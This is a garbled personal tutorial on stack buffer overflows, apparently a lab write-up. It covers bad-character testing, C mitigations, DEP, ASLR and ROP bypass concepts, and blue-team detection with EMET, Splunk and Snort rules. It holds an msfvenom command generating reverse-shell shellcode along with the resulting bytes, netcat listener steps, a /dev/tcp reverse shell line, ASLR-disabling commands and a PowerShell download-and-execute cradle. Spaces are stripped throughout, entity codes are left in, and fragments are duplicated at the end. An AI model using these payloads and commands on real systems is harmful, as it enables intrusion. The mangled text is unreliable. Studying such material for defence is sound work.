GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

